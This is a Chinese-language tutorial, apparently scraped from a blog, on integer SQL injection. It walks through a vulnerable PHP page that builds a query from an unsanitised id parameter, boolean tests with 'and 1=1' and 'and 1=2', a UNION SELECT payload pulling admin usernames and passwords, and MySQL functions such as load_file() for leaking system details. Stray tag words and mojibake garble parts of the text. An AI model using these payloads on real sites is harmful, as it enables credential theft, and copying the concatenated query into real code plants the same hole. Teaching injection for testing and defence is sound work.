0x01 什么是SQL注入javascript
SQL是一种注入攻击,经过前端带入后端数据库进行恶意的SQL语句查询。php
0x02 SQL整型注入原理前端
SQL注入通常发生在动态网站URL地址里,固然也会发生在其它地发,如登陆框等等也会存在注入,只要是和数据库打交道的地方都有可能存在。java
如这里http://192.168.30.22/intsql/shownews.php?id=5 咱们打开shownews.php源文件看下代码
mysql
if(isset($_GET['id'])) { $id=$_GET["id"]; } else { echo "<script language='javascript'>"; echo "alert('ÇëÊäÈëÕýÈ·ID£¡');"; echo " location='index.php';"; echo "</script>"; exit; } $sql4="select * from news where id=$id"; $result4=mysql_query($sql4); if($nums=mysql_num_rows($result4)) { $rs4=mysql_fetch_array($result4); $title=$rs4["title"]; $content=$rs4["content"]; $hits=$rs4["hits"]; $fbsj=date("Y-m-d",strtotime($rs4['fbsj'])); $sql="update news set hits=hits+1 where id=$id"; mysql_query($sql); }
首先定义一个变量id,$id=$_GET["id"];获取GET的值,sql
而后定义一个sql4变量来存放sql查询语句,并和刚才变量id进行拼接组合,数据库
$sql4="select * from news where id=$id";后端
最后带入数据库进行查询 $result4=mysql_query($sql4);session
由此能够肯定此文件存在SQL注入漏洞,id是数字型函数
0x03 验证漏洞
如今咱们在地址栏id=5 后面输入 and 1=1 页面返回了正常
那么代码里的sql语句拼接起来应该就是$sql4="select * from news where id=5 and 1=1"; //整条语句带入数据库进行查询 SQL语句返回为真即true
如今咱们在地址栏id=5 后面输入 and 1=2 页面返回了错误
那么代码里的sql语句拼接起来应该就是$sql4="select * from news where id=5 and 1=2"; //整条语句带入数据库进行查询 SQL语句返回为假即false
依次类推,若是看不懂的话,能够去补一点sql基本语法知识。
最后在查询出管理员的后台帐号和密码 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly
能够看到SQL语句拼接起来变成一条完整的select * from news where id=5 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly
mysql数据库一些经常使用函数: 咱们也能够加到查询语句里进行爆出对应的信息
1:system_user() 系统用户名2:user() 用户名3:current_user 当前用户名4:session_user()链接数据库的用户名5:database() 数据库名6:version() MYSQL数据库版本 @@version7:load_file() MYSQL读取本地文件的函数8:@@datadir 读取数据库路径9:@@basedir MYSQL 安装路径10:@@version_compile_os 操做系统